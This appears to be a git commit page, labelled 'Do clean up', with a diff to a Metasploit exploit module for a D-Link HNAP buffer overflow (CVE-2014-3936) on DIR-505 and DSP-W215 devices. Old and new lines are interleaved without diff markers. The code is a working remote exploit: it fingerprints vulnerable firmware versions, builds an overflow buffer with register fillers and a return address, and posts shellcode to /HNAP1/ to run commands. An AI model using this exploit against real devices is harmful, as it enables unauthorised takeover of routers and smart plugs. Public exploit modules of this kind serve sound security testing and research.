Do clean up
parent
781149f13f
commit
f7d60bebdc
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@ -15,23 +15,24 @@ class Metasploit3 < Msf::Exploit::Remote
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super(update_info(info,
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super(update_info(info,
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'Name' => 'D-Link HNAP Buffer Overflow in POST Request',
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'Name' => 'D-Link HNAP Buffer Overflow in POST Request',
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'Description' => %q{
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'Description' => %q{
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This module exploits an anonymous remote code execution vulnerability on different D-Link devices.
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This module exploits an anonymous remote code execution vulnerability on different
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This module has been successfully tested on D-Link DIR-505 in an emulated environment.
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D-Link devices. This module has been successfully tested on D-Link DIR-505 in an
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emulated environment.
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},
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},
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'Author' =>
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'Author' =>
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[
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[
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'Craig Heffner', # vulnerability discovery and initial exploit
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'Craig Heffner', # vulnerability discovery and initial exploit
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'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
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'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
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],
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],
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'License' => MSF_LICENSE,
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'License' => MSF_LICENSE,
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'Platform' => ['linux'],
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'Arch' => ARCH_MIPSBE,
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'References' =>
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'References' =>
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[
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[
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[ 'CVE', '2014-3936' ],
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['CVE', '2014-3936'],
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[ 'BID', '67651' ],
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['BID', '67651'],
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[ 'URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/' ], # blog post from Craig including PoC
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['URL', 'http://www.devttys0.com/2014/05/hacking-the-d-link-dsp-w215-smart-plug/'], # blog post from Craig including PoC
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[ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029' ]
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['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10029']
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],
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],
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'Targets' =>
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'Targets' =>
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[
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[
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@ -39,7 +40,6 @@ class Metasploit3 < Msf::Exploit::Remote
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# Automatic targeting via fingerprinting
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# Automatic targeting via fingerprinting
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#
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#
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[ 'Automatic Targeting', { 'auto' => true } ],
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[ 'Automatic Targeting', { 'auto' => true } ],
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[ 'D-Link DSP-W215 - v1.0',
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[ 'D-Link DSP-W215 - v1.0',
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{
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{
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'Offset' => 1000000,
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'Offset' => 1000000,
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@ -60,7 +60,9 @@ class Metasploit3 < Msf::Exploit::Remote
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]
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]
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],
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],
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'DisclosureDate' => 'May 15 2014',
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'DisclosureDate' => 'May 15 2014',
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'DefaultTarget' => 0))
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'DefaultTarget' => 0))
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deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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end
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end
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def check
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def check
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@ -71,71 +73,38 @@ class Metasploit3 < Msf::Exploit::Remote
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})
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})
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if res && [200, 301, 302].include?(res.code)
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if res && [200, 301, 302].include?(res.code)
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if res.body =~ /DIR-505/ && res.body =~ /1.07/
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# trying to automatically detect a vulnerable device
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@my_target = targets[3] if target['auto']
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if (target['auto'])
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return Exploit::CheckCode::Appears
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if res.body =~ /DIR-505/ && res.body =~ /1.07/
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elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
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@my_target = targets[2] if target['auto']
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self.targets.each do |t|
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return Exploit::CheckCode::Appears
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if (t.name =~ /DIR-505.*1.07/) then
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elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
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@mytarget = t
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@my_target = targets[1] if target['auto']
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break
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return Exploit::CheckCode::Appears
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end
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end
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elsif res.body =~ /DIR-505/ && res.body =~ /1.06/
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self.targets.each do |t|
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if (t.name =~ /DIR-505.*1.06/) then
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@mytarget = t
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break
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end
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end
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elsif res.body =~ /DSP-W215/ && res.body =~ /1.00/
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self.targets.each do |t|
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if (t.name =~ /DSP-W215.*1.00/) then
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@mytarget = t
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break
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end
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end
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else
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# no supported device found
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return Exploit::CheckCode::Unknown
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end
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print_status("#{peer} - Selected Target: #{@mytarget.name}")
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print_good("#{peer} - detected a vulnerable device")
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return Exploit::CheckCode::Detected
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# not auto-targetting ... the user is responsible
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else
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else
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print_good("#{peer} - detected a device with unknown exploitability ... trying to exploit")
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return Exploit::CheckCode::Detected
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return Exploit::CheckCode::Detected
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end
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end
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end
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end
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rescue ::Rex::ConnectionError
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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return Exploit::CheckCode::Safe
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end
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end
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Exploit::CheckCode::Unknown
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Exploit::CheckCode::Unknown
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end
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end
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def target
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return @mytarget if @mytarget
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super
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end
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def exploit
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def exploit
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print_status("#{peer} - Trying to access the vulnerable URL...")
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print_status("#{peer} - Trying to access the vulnerable URL...")
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# Use a copy of the target
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@my_target = target
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@mytarget = target
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check_code = check
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unless check == Exploit::CheckCode::Detected
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unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
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fail_with(Failure::Unknown, "#{peer} - Failed to detect a vulnerable device")
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fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable device")
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end
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if @my_target.nil? || @my_target['auto']
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fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
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end
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end
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print_status("#{peer} - Exploiting ...")
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print_status("#{peer} - Exploiting ...")
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@ -146,13 +115,13 @@ class Metasploit3 < Msf::Exploit::Remote
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end
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end
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def prepare_shellcode(cmd)
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def prepare_shellcode(cmd)
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buf = rand_text_alpha_upper(@mytarget['Offset']) # Stack filler
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buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
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buf << rand_text_alpha_upper(4) # $s0, don't care
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buf << rand_text_alpha_upper(4) # $s0, don't care
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buf << rand_text_alpha_upper(4) # $s1, don't care
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buf << rand_text_alpha_upper(4) # $s1, don't care
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buf << rand_text_alpha_upper(4) # $s2, don't care
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buf << rand_text_alpha_upper(4) # $s2, don't care
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buf << rand_text_alpha_upper(4) # $s3, don't care
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buf << rand_text_alpha_upper(4) # $s3, don't care
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buf << rand_text_alpha_upper(4) # $s4, don't care
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buf << rand_text_alpha_upper(4) # $s4, don't care
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buf << @mytarget['Ret'] # $ra
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buf << @my_target['Ret'] # $ra
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# la $t9, system
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# la $t9, system
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# la $s1, 0x440000
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# la $s1, 0x440000
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@ -172,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote
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'method' => 'POST',
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'method' => 'POST',
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'uri' => "/HNAP1/",
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'uri' => "/HNAP1/",
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'encode_params' => false,
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'encode_params' => false,
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'data' => shellcode,
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'data' => shellcode
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})
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})
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return res
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return res
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rescue ::Rex::ConnectionError
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rescue ::Rex::ConnectionError
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